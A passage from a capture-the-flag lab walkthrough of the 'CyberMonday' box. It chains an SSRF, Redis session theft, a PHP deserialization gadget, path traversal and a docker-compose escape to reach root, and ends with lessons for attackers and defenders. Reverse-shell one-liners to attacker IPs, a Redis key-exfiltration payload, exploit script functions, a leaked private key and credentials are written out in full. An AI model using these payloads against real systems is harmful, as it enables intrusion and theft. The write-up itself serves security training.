        cmd = input('SSRF > ')
        if cmd == '':
            break
        parseSSRF(token, uuid, cmd)
    except KeyboardInterrupt:
        break
    except Exception as e:
        print(f'{e}\n')

Using the SSRF

So, I have a functional SSRF. Now what? Usually, an SSRF is most useful for accessing a service that cannot be reached externally, but is available locally. So what services to I know about that I could not access before? Two things come to mind, both of which were mentioned in the .env file:

  • Redis
  • MySQL

I don’t think MySQL is usually open to HTTP requests, so instead I’ll focus on just Redis. For a webserver, Redis is usually used for caching, leveraging the server’s RAM to improve all clients’ loading times. From the .env file, I already know the host is simply redis, so I’ll try accessing it using the SSRF:

SSRF redis 2

First, using the website, log in as a valid user. Then you can query Redis to obtain their session

POST /webhooks/dbbd4618-8642-4f0a-af62-0a1ccb6ca2cd HTTP/1.1 
Host: webhooks-api-beta.cybermonday.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
content-type: application/json
x-access-token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJqaW1ib2I2Iiwicm9sZSI6ImFkbWluIn0.Mjb8pCbYxlkbHz6z-0mqcKMdIS7AIUSVR4ootm3aMrw
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=7b1dd4ee299cc80521f2c2fe9ab689d4
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Length: 176

{
	"url":"http://redis:6379",
	"method":"EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"10.10.14.4\", \"6379\",v,0,10000) end' 0\r\n\r\n"
}

Checking my local redis (10.10.14.4:6379) I can see the key that was migrated over:

redis migrated key

Then, running `` shows the value:

"s:247:\"a:4:{s:6:\"_token\";s:40:\"tUsI5KnfvPk8m8ilLUkBVwvadMRxVGtKN6j85efE\";s:9:\"_previous\";a:1:{s:3:\"url\";s:27:\"http://cybermonday.htb/home\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:50:\"login_web_59ba36addc2b2f9401580f014c7f58ea4e30989d\";i:2;}\";"

for comparison, the request to the browser was this:

GET /home HTTP/1.1
Host: cybermonday.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cybermonday.htb/login
DNT: 1
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6Ik9palZ2ekgzQmF6TWNoUmQ3NVlpb2c9PSIsInZhbHVlIjoiRlZNaGFYc0tjTUxkM0w1RjduTW1zOG1WcEY3ekZoZHNzT2xHWFNvUEhseVplZXd2QVhlY0ppR2FSd1lpYnZnekRXUlJoZWJLRWE0SFJJN0tGTHFqeDlmQjNxcHgvMm5RdkxxNzkra1lVdWdJUHpSbWd0UzJia3M5M2pDVWVyTHQiLCJtYWMiOiI3MjFlZTVmYzQyMzA2Y2Q4YTM0NmE4M2YzMGE3ODU5NjZkNTNlN2JlOTJlYjc0ZTA1NzA2MWY4YzUxYzYwMzIwIiwidGFnIjoiIn0%3D; cybermonday_session=eyJpdiI6IjZuRkM2N0hVSWQ4UlJxSERMWXcwQVE9PSIsInZhbHVlIjoiWlNrRkk4b0xZd3BmSG4rcjJpRXdZbWx0b2ZZWUt2TUlMSFZzNmNxVHp3bHVSYzlrbDVTUzlIVHd0ZnVkTGRGcWxjZGZCNnpnbnVaSmtxYXRuZXdjaVBKbXFiTXFaYm5QNWlZSXVURHNVWG1KVWV3bFhqUFZUSFpLYVp5cXlZMzUiLCJtYWMiOiJjYmYyMDNiZDhmODQ2N2MxMTk2NmZjOWMwMjFmMGI0NDgzOWM5YjE3Mjk3YWVkOTBlNzY2YTdhMjU2NWU0NmUxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

That cybermonday_session cookie decodes to this:

{"iv":"6nFC67HUId8RRqHDLYw0AQ==","value":"ZSkFI8oLYwpfHn+r2iEwYmltofYYKvMILHVs6cqTzwluRc9kl5SS9HTwtfudLdFqlcdfB6zgnuZJkqatnewciPJmqbMqZbnP5iYIuTDsUXmJUewlXjPVTHZKaZyqyY35","mac":"cbf203bd8f8467c11966fc9c021f0b44839c9b17297aed90e766a7a2565e46e1","tag":"In0%3D

Generated payload with this:

phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'" -A | base64 -w 0

Which results in this:

TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e1M6OToiXDAwXDJhXDAwXDczXDZmXDYzXDZiXDY1XDc0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7UzoxMDoiXDAwXDJhXDAwXDY4XDYxXDZlXDY0XDZjXDY1XDcyIjtyOjI7UzoxMzoiXDAwXDJhXDAwXDYyXDc1XDY2XDY2XDY1XDcyXDUzXDY5XDdhXDY1IjtpOi0xO1M6OToiXDAwXDJhXDAwXDYyXDc1XDY2XDY2XDY1XDcyIjthOjE6e2k6MDthOjI6e2k6MDtTOjUwOiJcNjJcNjFcNzNcNjhcMjBcMmRcNjNcMjBcMjdcNjJcNjFcNzNcNjhcMjBcMmRcNjlcMjBcM2VcMjZcMjBcMmZcNjRcNjVcNzZcMmZcNzRcNjNcNzBcMmZcMzFcMzBcMmVcMzFcMzBcMmVcMzFcMzRcMmVcMzRcMmZcMzRcMzRcMzRcMzRcMjBcMzBcM2VcMjZcMzFcMjciO1M6NToiXDZjXDY1XDc2XDY1XDZjIjtOO319Uzo4OiJcMDBcMmFcMDBcNmNcNjVcNzZcNjVcNmMiO047UzoxNDoiXDAwXDJhXDAwXDY5XDZlXDY5XDc0XDY5XDYxXDZjXDY5XDdhXDY1XDY0IjtiOjE7UzoxNDoiXDAwXDJhXDAwXDYyXDc1XDY2XDY2XDY1XDcyXDRjXDY5XDZkXDY5XDc0IjtpOi0xO1M6MTM6IlwwMFwyYVwwMFw3MFw3Mlw2Zlw2M1w2NVw3M1w3M1w2Zlw3Mlw3MyI7YToyOntpOjA7Uzo3OiJcNjNcNzVcNzJcNzJcNjVcNmVcNzQiO2k6MTtTOjY6Ilw3M1w3OVw3M1w3NFw2NVw2ZCI7fX19Cg==

Then used the script that BillieSimplish wrote. After running the script, I refreshed the page (http://cybermonday.htb/home) and immediately had a shell:

Got revshell

USER FLAG

downloaded static nmap and did host discovery

curl -o nmap-portable.tar.gz http://10.10.14.4:8000/nmap-portable.tar.gz
sha256sum nmap-portable.tar.gz
tar -zxvf nmap-portable.tar.gz
cd nmap-7.94SVN-x86-portable
./run-nmap.sh -sn 172.18.0.1/24 # host discovery

REsults:

nmap host discovery

172.18.0.5 is cybermonday.htb 172.18.0.6 is webhooks-api-beta.cybermonday.htb

Established socks proxy over port 9999

Trying mysql on 172.18.0.7

proxychains mysql -u root -h 172.18.0.7 -p

mysql cybermonday users

For copy-pasting, those are: $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG $2y$10$jLCfpqJV4OvXV5o5EerUVOgEDdLMXPXMFvjXPxBw2evJI6j0Hisry

mysql webhooks users

Admin hash is: $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC

Went back to my reverse shell to continue on with nmap. Going to scan for ports on the other hosts:

./run-nmap.sh -sC -sV -n -Pn --top-ports 4000 172.18.0.2-7

nmap scan internal

nmap scan internal 2

Port 5000?! Clearly the “registry” host is a private docker registry! I’ll query the registry to see what repos are listed:

proxychains curl http://172.18.0.3:5000/v2/_catalog

Only one result: {"repositories":["cybermonday_api"]}. Let’s pull it

proxychains docker pull 172.18.0.3:5000/cybermonday_api:latest

failed docker pull

Hmm… nope. Instead of proxychains maybe I’ll try forwarding just that one port specifically, using socat:

proxychains socat TCP-LISTEN:5000,fork,reuseaddr TCP:172.18.0.3:5000

Now I’ll try again:

docker pull 172.18.0.3:5000/cybermonday_api:latest 

failed docker pull 2

Still nothing. That’s odd. Maybe I’ll just try localhost?

docker pull success

Perfect! I wonder why that worked, when using the IP address did not.

It took forever, but I finally got it to pull down the .tar.gz files using DockerRegistryGrabber:

dockerregistrygrabber

This resulted in a directory full of [hash].tar.gz files, called cybermonday_api. I merged them all into a filesystem using this:

mkdir fs
cat cybermonday_api/*tar.gz | tar -xzf - -C fs -i

I took a look through the filesystem that was produced. Nothing seemed very strange. I ran trufflehog over it:

Trufflehog found var/www/html/keys/private.pem. The corresponding public key is there too, and it matches the one that I derived earlier while forging my webhooks access token, so it’s clear this is the signing key for the webhooks_api.

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCm97O8AoI6DHCy
LJXo9El8Yy6X5YFiivAUha51YqQZ6MzHeidRKUzw4Dc+OaEU0I//yMntYDaANryg
/c3YnzMXJp2eu3Zd7n0V1wtdM/Ftt8ULRpMaQMg49lgnyRHRyXLR+JmJluDhUuzB
iyHdKfv3siUhivpap9zpk+fWewSE6vA76pIPhDbgVVh5TGyfuknSg5Yc8P6q0Lmr
cFHYz9LEGvFeH2+pw0EHdlFEDQfQUN1Xoun/zAljtEHx4xESBJ7jyveTsaURwIvB
uzILKGeDKyAeyrrIlgzzYEvtXxCWfjbKKPUEzt8K7X0zURnBHl4nYeDfVmwrm5KF
shNtGHXrAgMBAAECggEACgUhfy3zXMJ0XOz6DiHi6xkUqb73Nc+6urCPGLJTwM5M
w8fb5i4BVQ9PoWdZ+GLP0XzeSWWVv7oJNewlV1OugDwsB2OepeJzFUVzhCNi4L+/
jn6sw02R9oEqJzEU5a8eOeWeaThpxHvyg2bzIE+ttF63hbzOa3RZeJcMub1mNwe9
k1WtXCCQewdLQEHgtmiZZruZHUVy284ALkw3u1Vvhgjiocjz2gEdAyMqDDFZaax+
ezTsK+Q3QpCSeuchFEvznTnWyEL33e8KW5rUPYYaGeGk0HRa5Y9Z78N2gXkmgmFr
YTWx7sKOYZWW5hsL7I85bS9mkmLOjfhAHRNaectgaQKBgQDSrl0Vl58m8Bg5eQ/Q
IoGdsEhGOrblvlMDJ+eLPmNxY9bpSEPvJOlvkiguVgEacTJnYJCWwkI6nFjLMK9q
592JuJHl3RuwgHerDZFDeBv4m6JZlp1XH+bUq7DaeQOpxR1fprpvysB4Rp4x14H4
zHP77rK5ux2O6QdhcyA1XKyQzQKBgQDK4idQeuTT0k/ZUYavm2cowoyN/QHqf3la
U5oWf4e6QjuGxcIj9qGDmA1LZIzU5WgAsSNrVfyuo3A5ifcub5oaXVAcUP8ArkGA
6fs1C1AmyRaxLQo3uoDHNfRr3GTGmJ/MW4jfaYpS+GJE7z35u2BggJ7EFodNS4JJ
VHnQMLdBlwKBgFZ9wLcxlOPuY3OM0MIYuG+dRD6YsidlWD0Ob89JYJfXbg49Xa5a
z/6+2QIUysUpPZEVIqbRv1DCiO154joYUGnOvQ7KFCkExJwTqNQzBgCtHBx9acCv
1xruFV/LmIZk5ucy0o08hoGaNC2wFKqofOEroHIBcGQQJLiMA+gEUM/tAoGBALnC
CWcJrpw3Mr7yg1QkAHb0ckbLAccYQh8u7qVszPQAEoqaZOASv91CCeIexUdkaC5C
AgET8NBheq5kIPrWWg2LpH7YtjKEWhtToJr3qcJpWaqNZ46Q57n+L7XWTDr9oUo2
AQM1md3P6AHf3ynZoyuYeEVnryhZW4gSnZm+EPwvAoGBAMBXjE2nfBGZovvznYAj
oYBNEs/wkjfrWPHqbydH/1++Sv1ewDjRvtafv1+eI3Js5MRHxBQaMjWzDlY+jqQV
1oaJgEc4QA1xBnplZsdfbVkbbSYsx8uBRmuLmEDofyZf/mrKNTsB7UcOlW4Nj59z
My39wIl48oVs+ky/uL+35r9W
-----END PRIVATE KEY-----

It looks like all the source code for webhooks_api is in /var/www/html, so I’ll check that out. I opened it all in Atom.

Checking out the app/routes/Router.php file showed something a little odd. Most of it is familiar, but there is one route that was undisclosed when querying the api earlier:

webhooks hidden route

Very interesting. I’ll have to dive into the source code and see how it works. The behaviour is outlined in app/controllers/LogsController.php. The file itself is a little long to show in this walkthrough, but here are my notes on the suspicious api endpoint:

POST /webhooks/:uuid/logs

comments: Must be performed on a uuid of a webhook using action ‘createLogFile’ Requires x-api-key: 22892e36-1770-11ee-be56-0242ac120002 for authentication

arguments: action: possible values: list | read list: lists files in the directory of logs for that webhook read: reads the log specified with log_name log_name: filepath is based on webhook name: $logPath = "/logs/{$webhook_find->name}/";

read does some checks on the file path:

  1. first it checks for ../ and denies any path containing this.
  2. then, it strips out all spaces from the log_name
  3. then, it checks that the log_name contains ’log'
  4. then, it checks if /logs/{$webhook_find->name}/log_name exists
  5. finally, it reads the file and returns its contents

Ok, this might be usable as an arbitrary file read. I just need to find a way to get past the filters:

  • (1) can be easily thwarted by putting spaces into the traversal, like . ./ The spaces will be stripped-out during step (2).
  • (4) shouldn’t be a problem. Just target known files, like /etc/passwd
  • (3) is no problem. Just make sure the logs directory is in the path traversal.

To use this, I wrote yet another function into my script:

def parseLOGS(token, uuid, cmd, verbose=False):
    endpoint = f'/webhooks/{uuid}/logs'
    action = 'read'
    path = cmd
    if cmd.startswith('list') or cmd.startswith('read'):
        action = cmd[:4]
        path = cmd[5:]
    log_name = f'. ./. ./logs/. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./{path}'
    resp = s.post(
        f'{args.target}{endpoint}',
        headers = {
            'x-access-token': token,
            'x-api-key': '22892e36-1770-11ee-be56-0242ac120002'
        },
        json = {
            'action': action,
            'log_name': log_name
        }
    )
    if verbose or resp.status_code > 299:
        print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\nRequested:\n\t{resp.request.body}\n')
        return
    try:
        data = resp.json()['message']
        print(f'{data}\n')
    except Exception as e:
        if verbose:
            print(f'Encountered error while parsing response JSON:\n{e}')
        sys.exit()

I also modified the program flow in main a bit:

if m == "LOGS":
    uuid = getWebhooks(token)[0]['uuid'] # Get the uuid of the first webhook
elif m == "SSRF" or m == "HTTP":
    try:
        uuid = createWebhook(test_token, f'makerequest_{x}', 'webhook to make an http request', 'sendRequest', args.verbose)
    except:
        uuid = getExistingUuid(test_token, 'sendRequest', x, args.verbose)

while True:
    try:
        if m == 'HTTP':
            cmd = input('SSRF > ')
            if cmd == '':
                break
            parseHTTP(token, uuid, cmd, args.verbose)
        elif m == 'REDIS':
            cmd = input('REDIS > ')
            if cmd == '':
                break
            parseREDIS(token, uuid, cmd, args.verbose)
        elif m == 'LOGS':
            cmd = input('LOGS > ')
            if cmd == '':
                break

And it works like a charm:

functional file read tool

This works great for reading files on the box. But I have to know exactly what files to read. if I want to list out directory contents, I’m going to need to do something else. For now, I’ll enumerate important/common linux files (like /etc/passwd shown above). /etc/shadow has nothing in it, unfortunately. But check out the contents of /proc/self/environ:

HOSTNAME=e1862f4e1242
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
DBPASS=ngFfX2L71Nu
PHP_VERSION=8.2.7
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz
DBHOST=db
DBUSER=dbuser
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBNAME=webhooks_api
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev    make             pkg-config              re2c
PWD=/var/www/html
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0

Alright! There’s some new database credentials in there! MySQL / webhooks_api (dbuser : ngFfX2L71Nu)

The webhook_api application logic only lists files in the directory particular to that one webhook’s name. And I can’t use a directory traversal inside the webhook name, because the webhook name can only contain alphanumeric characters.

There is one way to get past this, though! By using the database that stores the webhooks. I can circumvent the data validation on the webhook name that the application enforces by going straight into the database and changing the webhook name there.

Just need to log into the DB again and change the webhook name manually

insert into webhooks (uuid, name, description, action) values ('c87ae15e-be85-45ab-a2d3-7f198e215e14', '../root', 'test', 'createLogFile');
or
UPDATE webhooks SET name = '../../../../../../../etc' WHERE uuid = 'c87ae15e-be85-45ab-a2d3-7f198e215e14'

But since I can already access the database… this password must be for credential re-use!

My box reset, so I had to redo host discovery:

Nmap scan report for 172.18.0.2
Host is up (0.0059s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 8.0.33
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.33
|   Thread ID: 60
|   Capabilities flags: 65535
|   Some Capabilities: FoundRows, Support41Auth, Speaks41ProtocolOld, ODBCClient, SupportsTransactions, IgnoreSigpipes, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, Speaks41ProtocolNew, InteractiveClient, ConnectWithDatabase, LongPassword, DontAllowDatabaseTableColumn, SupportsCompression, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: [\\x14R\x1F_*xw=\x16J\x11qubor}%
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.33_Auto_Generated_Server_Certificate
| Not valid before: 2023-07-03T05:01:05
|_Not valid after:  2033-06-30T05:01:05

Nmap scan report for 172.18.0.3
Host is up (0.054s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
9000/tcp open  cslistener?

Nmap scan report for 172.18.0.4
Host is up (0.0056s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 7.0.11

Nmap scan report for 172.18.0.5
Host is up (0.0010s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.

Nmap scan report for 172.18.0.6
Host is up (0.0026s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1

Nmap scan report for 172.18.0.7
Host is up (0.0027s latency).
Not shown: 3999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.2.7)
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

So what user goes with that password? Maybe a username is leaked in any of the other hosts’ banners?

for (( i=2; i<8; i++ )); do 
	proxychains whatweb "172.18.0.$i"; 
	curl -m 30 -IL "172.18.0.$i"; 
done

Nope , no clues there. What about in redis?

proxychains redis-cli -h 172.18.0.4 -p 6379
> CONFIG GET *

redis config

Nothing interesting.

Oh…. duh. I had already seen this and just glossed-over it. I should have taken better notes the first time. The first thing I did when I got a reverse shell was look for the flag:

find / -name "user.txt" 2>/dev/null

Oddly enough, it was sitting in /mnt of all places… But what else is there?

mnt directory

Looks like the .ssh directory is traversible, and there’s an authorized_keys file:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday

Alright, there’s a user: john. Let’s try that “database” password from earlier:

SSH as john

SUCCESS! 🎉🎉🎉 Wow that was so tough. I am so thankful to finally have a reliable way to reconnect without having to re-exploit the box if it resets 😅 So it’s now confirmed, valid SSH credentials are john : ngFfX2L71Nu

The SSH login drops you right into the /home/john, next to the flag. Just cat it out for the points:

cat user.txt

ROOT FLAG

User Enumeration: john

Now that I finally have a stable SSH connection, I’ll perform my usual user enumeration. In the interest of keeping this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration and instead just jot down any notable results and findings. If you want to see the whole procedure, please check out my guide, User Enumeration: Linux.

  • The only notable remaining users are john and root.
  • User john may run the following commands on localhost: (root) /opt/secure_compose.py *.yml
  • john only owns /home/john. Nothing else.
  • the group john additionally owns /var/lib/sudo/lectured/john. What is that?
  • Available tools include nc, netcat, curl, wget, python3, perl.
  • There is a strange port listening locally. I’ll have to check it out 🚩 netstat
  • pspy revealed that the host is running docker-proxy: /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.6 -container-port 80
  • pspy also showed the docker registry starting up: registry serve /etc/docker/registry/config.yml But this file isnt actually present. However there is a file /etc/docker/key.json that is root only. Suspicious.
  • It looks like the log files from webhooks_api were ending up in /home/john/logs/tests/: log fils

secure_compose.py

In my experience, the absolute best way to find a PE vector is by finding something custom-built in sudo -l. On this box, john can sudo /opt/secure_compose.py *.yml. The python script can be read:

import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

In the end, I finally found a way to write the yml file that would actually be parsed and spawn a shell:

version: '3'
services:
    revshell_test:
        security_opt:
            - seccomp:unconfined
            - apparmor:unconfined
        cap_add:
            - ALL
        command: /bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"
        image: cybermonday_api
        devices:
            - /dev/sda1:/dev/sda1

got reverse shell from docker

Now, try the good old “mount the filesystem” docker escape:

mounted disk

found root flag

LESSONS LEARNED

two crossed swords

Attacker

  • If you come across any stack traces, read them. Read them very carefully. Understand as much of the code as you can, within reason. Carefully reading the stack traces allowed me to identify a broken authentication mechanism.
  • Sort your leads. On anything other than “Very Easy” boxes, you’ll have multiple paths in front of you that you want to check out. It takes a bit of experience, but it is worth taking the time to categorize and sort all of your ideas. On this box, I made the mistake of trying to create malicious product images, when I had a big juicy waiting for me within /dashboard/changelog.
  • Authentication bypass can be easy. If it seems like you can’t find a way into some part of an HTB box that you know you need to access, run the authentication process through Burp and see if you can poke some holes in it. Or, for a more automated approach, try a tool such as Raider.
  • Found a new subdomain? Check for secrets! When you find something like a .env file, this almost always leads directly to something important. At the very least, a .env file can serve as a useful reference to revisit every time you find another sensitive file, host, or API.
two crossed swords

Defender

  • Turn off “debug mode”. When your project finally reaches production, you must turn off debug mode. Often, during development, it is useful to see as much detail as possible in stack traces and any status 500 pages from your API. However, after a project reaches production, it shouldn’t be spewing out sensitive information about your codebase in this way. 😏 How about fixing all those errors even before your code hits prod? On this box, seeing a stack trace was enough to clearly identify a broken authentication mechanism.

  • Be really careful with coding API endpoints. This goes double for endpoints that allow for files to be written, however innocuous they may seem. If it is still unavoidable, ensure all inputs are very carefully sanitized and validated. Use an allow-listing approach in this case.

  • Least privilege is still important. Why was it necessary to allow a low-privilege user to perform a docker compose? As a developer, if you find yourself writing code to get around security controls or best practices, you’re probably not acting in your own best interest (or you’re a malware developer).


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake